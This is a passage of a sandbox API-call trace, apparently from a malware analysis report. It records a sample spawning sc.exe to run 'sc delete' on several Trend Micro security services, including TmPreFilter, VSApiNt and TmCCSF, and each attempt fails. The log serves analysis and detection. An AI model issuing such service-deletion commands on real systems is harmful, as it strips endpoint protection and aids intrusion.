_String2="delete") returned 0 [0073.452] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x304370 [0073.457] OpenServiceW (hSCManager=0x304370, lpServiceName="tmusa", dwDesiredAccess=0x10000) returned 0x0 [0073.457] GetLastError () returned 0x424 [0073.457] _itow (in: _Dest=0x424, _Radix=2161400 | out: _Dest=0x424) returned="1060" [0073.457] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff20b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.459] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20fab0, nSize=0x2, Arguments=0x20fae0 | out: lpBuffer="跀0") returned 0x62 [0073.459] GetFileType (hFile=0x120) returned 0x3 [0073.459] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308ea0 [0073.460] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0073.460] WriteFile (in: hFile=0x120, lpBuffer=0x308ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20fa58, lpOverlapped=0x0 | out: lpBuffer=0x308ea0*, lpNumberOfBytesWritten=0x20fa58*=0x62, lpOverlapped=0x0) returned 1 [0073.460] LocalFree (hMem=0x308ea0) returned 0x0 [0073.460] LocalFree (hMem=0x308dc0) returned 0x0 [0073.460] LocalFree (hMem=0x0) returned 0x0 [0073.460] CloseServiceHandle (hSCObject=0x304370) returned 1 [0073.462] exit (_Code=1060) Thread: id = 113 os_tid = 0xb90 Process: id = "57" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e4f8000" os_pid = "0x620" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete TmPreFilter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 114 os_tid = 0x208 [0073.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f830 | out: lpSystemTimeAsFileTime=0x20f830*(dwLowDateTime=0x439d53d0, dwHighDateTime=0x1d62774)) [0073.517] GetCurrentProcessId () returned 0x620 [0073.517] GetCurrentThreadId () returned 0x208 [0073.517] GetTickCount () returned 0x1149ae9 [0073.517] QueryPerformanceCounter (in: lpPerformanceCount=0x20f838 | out: lpPerformanceCount=0x20f838*=19319225763) returned 1 [0073.518] GetModuleHandleW (lpModuleName=0x0) returned 0xff500000 [0073.518] __set_app_type (_Type=0x1) [0073.518] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff507228) returned 0x0 [0073.518] __wgetmainargs (in: _Argc=0xff50b604, _Argv=0xff50b610, _Env=0xff50b608, _DoWildCard=0, _StartInfo=0xff50b050 | out: _Argc=0xff50b604, _Argv=0xff50b610, _Env=0xff50b608) returned 0 [0073.522] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.524] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.524] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.524] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.524] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.524] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.524] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.524] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.524] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.524] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.524] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.524] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.524] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.524] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.524] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.524] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.524] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.524] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.524] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.524] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.524] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.524] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.524] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.524] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.524] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.524] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.524] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.525] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.525] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.525] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.525] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.525] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.525] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x324370 [0073.528] OpenServiceW (hSCManager=0x324370, lpServiceName="TmPreFilter", dwDesiredAccess=0x10000) returned 0x0 [0073.528] GetLastError () returned 0x424 [0073.528] _itow (in: _Dest=0x424, _Radix=2160280 | out: _Dest=0x424) returned="1060" [0073.528] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff50b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.530] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f650, nSize=0x2, Arguments=0x20f680 | out: lpBuffer="跀2") returned 0x62 [0073.530] GetFileType (hFile=0x120) returned 0x3 [0073.530] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x328ea0 [0073.530] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x328ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n2", lpUsedDefaultChar=0x0) returned 98 [0073.530] WriteFile (in: hFile=0x120, lpBuffer=0x328ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f5f8, lpOverlapped=0x0 | out: lpBuffer=0x328ea0*, lpNumberOfBytesWritten=0x20f5f8*=0x62, lpOverlapped=0x0) returned 1 [0073.530] LocalFree (hMem=0x328ea0) returned 0x0 [0073.530] LocalFree (hMem=0x328dc0) returned 0x0 [0073.530] LocalFree (hMem=0x0) returned 0x0 [0073.531] CloseServiceHandle (hSCObject=0x324370) returned 1 [0073.532] exit (_Code=1060) Thread: id = 115 os_tid = 0x518 Process: id = "58" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3d9fd000" os_pid = "0x644" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete TMSmartRelayService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 116 os_tid = 0x834 [0073.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xaf9b0 | out: lpSystemTimeAsFileTime=0xaf9b0*(dwLowDateTime=0x43a93ab0, dwHighDateTime=0x1d62774)) [0073.586] GetCurrentProcessId () returned 0x644 [0073.586] GetCurrentThreadId () returned 0x834 [0073.586] GetTickCount () returned 0x1149b37 [0073.586] QueryPerformanceCounter (in: lpPerformanceCount=0xaf9b8 | out: lpPerformanceCount=0xaf9b8*=19326146169) returned 1 [0073.587] GetModuleHandleW (lpModuleName=0x0) returned 0xffd10000 [0073.587] __set_app_type (_Type=0x1) [0073.587] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd17228) returned 0x0 [0073.588] __wgetmainargs (in: _Argc=0xffd1b604, _Argv=0xffd1b610, _Env=0xffd1b608, _DoWildCard=0, _StartInfo=0xffd1b050 | out: _Argc=0xffd1b604, _Argv=0xffd1b610, _Env=0xffd1b608) returned 0 [0073.588] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.591] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.591] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.591] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.591] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.591] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.591] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.591] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.591] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.591] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.591] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.591] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.591] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.591] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.591] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.591] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.591] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.591] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.591] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.591] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.591] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.591] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.592] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.592] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.592] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.592] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.592] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.592] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.592] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.592] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.592] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.592] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.592] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2343e0 [0073.596] OpenServiceW (hSCManager=0x2343e0, lpServiceName="TMSmartRelayService", dwDesiredAccess=0x10000) returned 0x0 [0073.597] GetLastError () returned 0x424 [0073.597] _itow (in: _Dest=0x424, _Radix=718872 | out: _Dest=0x424) returned="1060" [0073.597] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffd1b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.599] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xaf7d0, nSize=0x2, Arguments=0xaf800 | out: lpBuffer="跀#") returned 0x62 [0073.599] GetFileType (hFile=0x120) returned 0x3 [0073.599] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x238ea0 [0073.599] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x238ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n#", lpUsedDefaultChar=0x0) returned 98 [0073.600] WriteFile (in: hFile=0x120, lpBuffer=0x238ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xaf778, lpOverlapped=0x0 | out: lpBuffer=0x238ea0*, lpNumberOfBytesWritten=0xaf778*=0x62, lpOverlapped=0x0) returned 1 [0073.600] LocalFree (hMem=0x238ea0) returned 0x0 [0073.600] LocalFree (hMem=0x238dc0) returned 0x0 [0073.600] LocalFree (hMem=0x0) returned 0x0 [0073.600] CloseServiceHandle (hSCObject=0x2343e0) returned 1 [0073.602] exit (_Code=1060) Thread: id = 117 os_tid = 0x864 Process: id = "59" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3d202000" os_pid = "0x894" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete TMiCRCScanService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 118 os_tid = 0x8c4 [0073.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfaf0 | out: lpSystemTimeAsFileTime=0x1cfaf0*(dwLowDateTime=0x43b2c030, dwHighDateTime=0x1d62774)) [0073.654] GetCurrentProcessId () returned 0x894 [0073.654] GetCurrentThreadId () returned 0x8c4 [0073.654] GetTickCount () returned 0x1149b75 [0073.654] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfaf8 | out: lpPerformanceCount=0x1cfaf8*=19332971737) returned 1 [0073.655] GetModuleHandleW (lpModuleName=0x0) returned 0xff240000 [0073.655] __set_app_type (_Type=0x1) [0073.655] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff247228) returned 0x0 [0073.656] __wgetmainargs (in: _Argc=0xff24b604, _Argv=0xff24b610, _Env=0xff24b608, _DoWildCard=0, _StartInfo=0xff24b050 | out: _Argc=0xff24b604, _Argv=0xff24b610, _Env=0xff24b608) returned 0 [0073.656] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.658] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.658] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.658] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.658] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.658] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.658] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.658] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.658] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.658] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.658] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.658] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.658] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.658] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.658] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.658] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.658] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.658] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.658] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.658] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.658] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.658] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.659] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.659] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.659] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.659] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.659] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.659] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.659] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.659] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.659] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.659] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.659] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3843e0 [0073.662] OpenServiceW (hSCManager=0x3843e0, lpServiceName="TMiCRCScanService", dwDesiredAccess=0x10000) returned 0x0 [0073.663] GetLastError () returned 0x424 [0073.663] _itow (in: _Dest=0x424, _Radix=1898840 | out: _Dest=0x424) returned="1060" [0073.663] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff24b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.664] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cf910, nSize=0x2, Arguments=0x1cf940 | out: lpBuffer="跀8") returned 0x62 [0073.665] GetFileType (hFile=0x120) returned 0x3 [0073.665] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x388ea0 [0073.665] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x388ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n8", lpUsedDefaultChar=0x0) returned 98 [0073.665] WriteFile (in: hFile=0x120, lpBuffer=0x388ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cf8b8, lpOverlapped=0x0 | out: lpBuffer=0x388ea0*, lpNumberOfBytesWritten=0x1cf8b8*=0x62, lpOverlapped=0x0) returned 1 [0073.665] LocalFree (hMem=0x388ea0) returned 0x0 [0073.665] LocalFree (hMem=0x388dc0) returned 0x0 [0073.665] LocalFree (hMem=0x0) returned 0x0 [0073.665] CloseServiceHandle (hSCObject=0x3843e0) returned 1 [0073.667] exit (_Code=1060) Thread: id = 119 os_tid = 0x8f4 Process: id = "60" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3d707000" os_pid = "0x924" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete VSApiNt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 120 os_tid = 0x954 [0073.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fe50 | out: lpSystemTimeAsFileTime=0x28fe50*(dwLowDateTime=0x43c369d0, dwHighDateTime=0x1d62774)) [0073.756] GetCurrentProcessId () returned 0x924 [0073.756] GetCurrentThreadId () returned 0x954 [0073.756] GetTickCount () returned 0x1149be2 [0073.756] QueryPerformanceCounter (in: lpPerformanceCount=0x28fe58 | out: lpPerformanceCount=0x28fe58*=19343125780) returned 1 [0073.757] GetModuleHandleW (lpModuleName=0x0) returned 0xfffa0000 [0073.757] __set_app_type (_Type=0x1) [0073.757] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffa7228) returned 0x0 [0073.757] __wgetmainargs (in: _Argc=0xfffab604, _Argv=0xfffab610, _Env=0xfffab608, _DoWildCard=0, _StartInfo=0xfffab050 | out: _Argc=0xfffab604, _Argv=0xfffab610, _Env=0xfffab608) returned 0 [0073.758] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.760] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.760] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.760] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.760] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.760] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.760] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.761] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.761] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.761] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.761] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.761] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.761] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.761] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.761] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.761] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.761] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.761] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.761] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.761] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.761] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.761] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.761] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.761] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.761] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x104370 [0073.766] OpenServiceW (hSCManager=0x104370, lpServiceName="VSApiNt", dwDesiredAccess=0x10000) returned 0x0 [0073.766] GetLastError () returned 0x424 [0073.767] _itow (in: _Dest=0x424, _Radix=2686136 | out: _Dest=0x424) returned="1060" [0073.767] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfffab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.769] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28fc70, nSize=0x2, Arguments=0x28fca0 | out: lpBuffer="跀\x10") returned 0x62 [0073.769] GetFileType (hFile=0x120) returned 0x3 [0073.769] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x108ea0 [0073.769] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x108ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x10", lpUsedDefaultChar=0x0) returned 98 [0073.769] WriteFile (in: hFile=0x120, lpBuffer=0x108ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28fc18, lpOverlapped=0x0 | out: lpBuffer=0x108ea0*, lpNumberOfBytesWritten=0x28fc18*=0x62, lpOverlapped=0x0) returned 1 [0073.769] LocalFree (hMem=0x108ea0) returned 0x0 [0073.769] LocalFree (hMem=0x108dc0) returned 0x0 [0073.769] LocalFree (hMem=0x0) returned 0x0 [0073.770] CloseServiceHandle (hSCObject=0x104370) returned 1 [0073.772] exit (_Code=1060) Thread: id = 121 os_tid = 0x984 Process: id = "61" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3df0c000" os_pid = "0x9b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete TmCCSF" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 122 os_tid = 0x9e4 [0073.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff10 | out: lpSystemTimeAsFileTime=0x12ff10*(dwLowDateTime=0x43ccef50, dwHighDateTime=0x1d62774)) [0073.822] GetCurrentProcessId () returned 0x9b4 [0073.822] GetCurrentThreadId () returned 0x9e4 [0073.822] GetTickCount () returned 0x1149c21 [0073.822] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff18 | out: lpPerformanceCount=0x12ff18*=19349777825) returned 1 [0073.823] GetModuleHandleW (lpModuleName=0x0) returned 0xffa70000 [0073.824] __set_app_type (_Type=0x1) [0073.824] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa77228) returned 0x0 [0073.824] __wgetmainargs (in: _Argc=0xffa7b604, _Argv=0xffa7b610, _Env=0xffa7b608, _DoWildCard=0, _StartInfo=0xffa7b050 | out: _Argc=0xffa7b604, _Argv=0xffa7b610, _Env=0xffa7b608) returned 0 [0073.825] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.827] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.827] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.827] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.827] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.827] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.827] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.827] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.827] _wcsicmp 